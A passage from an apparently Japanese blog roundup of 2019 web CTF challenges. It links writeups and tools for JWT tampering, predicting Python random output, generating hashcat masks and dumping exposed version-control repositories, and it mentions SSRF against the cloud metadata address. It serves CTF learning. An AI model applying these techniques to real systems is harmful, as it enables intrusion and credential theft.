D:\>curl,@example.com <!doctype html> <html> <head> <title>Example Domain</title>
- writeup
- Balsn CTF 2019 - Silhouettes
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/silhouettes
- Balsn CTF 2019 - Silhouettes
Tools
攻撃手法に分類していませんが、writeupで使用されていて有用なツールの紹介です。
JSON Web Token Toolkit
JWTを、デコード、エンコード(署名)するだけであれば、色々なツールや方法がありますが、 このツールは、既知のエクスプロイトのテストや、辞書攻撃など、改ざんのための機能が揃っていて有用です。
https://github.com/ticarpi/jwt_tool
- writeup
- Reply Cyber Security Challenge - FILE ROVER
https://tasteofsecurity.com/security/web-200-file-rover-jwt-ctf-challenge/
- Reply Cyber Security Challenge - FILE ROVER
opensslコマンド等を使用してJWTを手作りするパターンも参考までに。
- RITSEC CTF 2019 - Our First API
https://github.com/m3ssap0/CTF-Writeups/tree/master/RITSEC%20CTF%202019/Our%20First%20API
ascii-zip
出力結果がascii文字の範囲になるようなDeflate圧縮をするツールです。
https://github.com/molnarg/ascii-zip
- writeup
- PlaidCTF 2019 - Potent Quotables
https://blog.pspaul.de/posts/plaidctf-2019-potent-quotables/
- PlaidCTF 2019 - Potent Quotables
Python random module cracker / predictor
pythonのrandom
モジュールの乱数を予測するツールです。
https://github.com/tna0y/Python-random-module-cracker
- writeup
- ångstromCTF 2019 - NaaS
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#naas
- ångstromCTF 2019 - NaaS
maskprocessor
hashcat用のマスクファイルを高速に生成するツールです。
https://hashcat.net/wiki/doku.php?id=maskprocessor
- writeup
- SpamAndFlags Teaser 2019 - Forumz
https://www.pwndiary.com/write-ups/spamandflags-teaser-ctf-2019-forumz-write-up-web252/
- SpamAndFlags Teaser 2019 - Forumz
dvcs-ripper
Webサーバ上に公開されてしまっているバージョン管理システムのリポジトリをダウンロードするツールです。 git用のツールはGitToolsが有名ですが、こちらのツールは他のバージョン管理システムもサポートしています。
https://github.com/kost/dvcs-ripper
Bazaarは、この問題で初めて知りました。
- writeup
- STEM CTF: Cyber Challenge 2019 - My First Blog
https://rawsec.ml/en/stem-ctf-2019-write-ups/#150-my-first-blog-web
- STEM CTF: Cyber Challenge 2019 - My First Blog
サーバ証明書の署名記録の検索サービス
DEF CONの問題であったため、たくさんのwriteupがあり、色々なサービスが使用されていました。
https://transparencyreport.google.com/https/certificates
https://crt.sh/
https://securitytrails.com/
- writeup
- DEF CON CTF Qualifier 2019 - cant_even_unplug_it
https://graneed.hatenablog.com/entry/2019/05/13/090613
- DEF CON CTF Qualifier 2019 - cant_even_unplug_it
CyberChefのMagic
攻略して得られたFLAGと思わしいデータを、インドのEBCDIC(cp1137)を使用してデコードする問題です。
怪しいデータに直面したら、先頭の数バイトでGoogle検索して調べる他にも、 とりあえずCyberChefのMagicをかけてみるのが良いかもしれません。
この問題を例に試してみます。以下のデータが得られたとします。
\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0
Magicをかけてスクロールしてみていくと、Flag文字列が発見できます。
- writeup
- nullcon HackIM 2019 - mime checkr
https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves
- nullcon HackIM 2019 - mime checkr
ユニークな問題
最後に、ユニークで印象に残った問題を紹介します。
SQLでWebサーバを構築した問題
本来、Webサーバで実施するべき、HTTPリクエストのパースやHTTPレスポンスの生成の処理を含め、全てを巨大なSQLで構築してしまった問題です。
writeupのこの感想が全てです。
No joke, the challenge is one large SQL file. That’s 1730 lines of pure SQL madness.
- writeup
- PlaidCTF 2019 - Triggered
https://cr0wn.uk/2019/plaid-triggered/
- PlaidCTF 2019 - Triggered
AWS S3アップロード機能を使用した問題
AWS S3には、ブラウザからHTTP POSTで直接ファイルをアップロードするインターフェースがあり、その機能を使用した問題です。 アップロードにあたりPolicyおよび署名を改ざんしています。
AWSの機能を使用した問題といえば、SSRFを使用して169.254.169.254のメタデータへアクセスする問題や、 パブリックのS3バケットにアクセスする問題がありましたが、このケースは初でした。 こういったパブリッククラウドのサービスに特化した知識も求められるのは面白いですね。
- writeup
- Midnight Sun CTF 2019 Quals - Cloudb
https://dreadlocked.github.io/2019/04/20/midnisghtsunctf-cloudb/
- Midnight Sun CTF 2019 Quals - Cloudb
夏時間の切り替えタイミングを使用した問題
このイベントの開催期間が、夏時間の切り替えタイミングである10月の最終日曜日にかかっていることで実現できた問題です。 まさにtimewarp。
- writeup
- TastelessCTF 2019 - timewarp
https://github.com/ENOFLAG/writeups/blob/master/tasteless2019/timewarp.md
- TastelessCTF 2019 - timewarp
最後に
この記事では攻撃手法を軸に整理しましたが、高難度になればなるほど手法を覚えているだけでは解けず、
まずはソースコードやサービスの振る舞いから脆弱性を見つけないと解くことができません。
また、高難度の問題は、過去の別イベントで出た手法が使いまわされるケースは少なく、セキュリティ関連の記事、ホワイトペーパー、カンファレンス資料、各プログラミング言語のリファレンス、使用しているOSSのソースコード、Stack Overflowなどの掲示板などを読み漁って手がかりを得ていく必要があります。
とは言え、部分的に手法を使用したり考え方の応用が効くケースもあると思いますので、WebのCTFerのお役に立てば幸いです。
今年もまた実施したこの企画ですが、年末の忙しい時期に始めたこともあり、体力面・精神面でそこそこ負荷がかかりました。 Advent Calendarのスケジュールにも間に合わなかったですし。
来年こそは、少しずつ消化していきたいと今は心に誓うものの、たぶんまた12月頃にまとめてやっているのだろうと思います。
それでは良いお年を。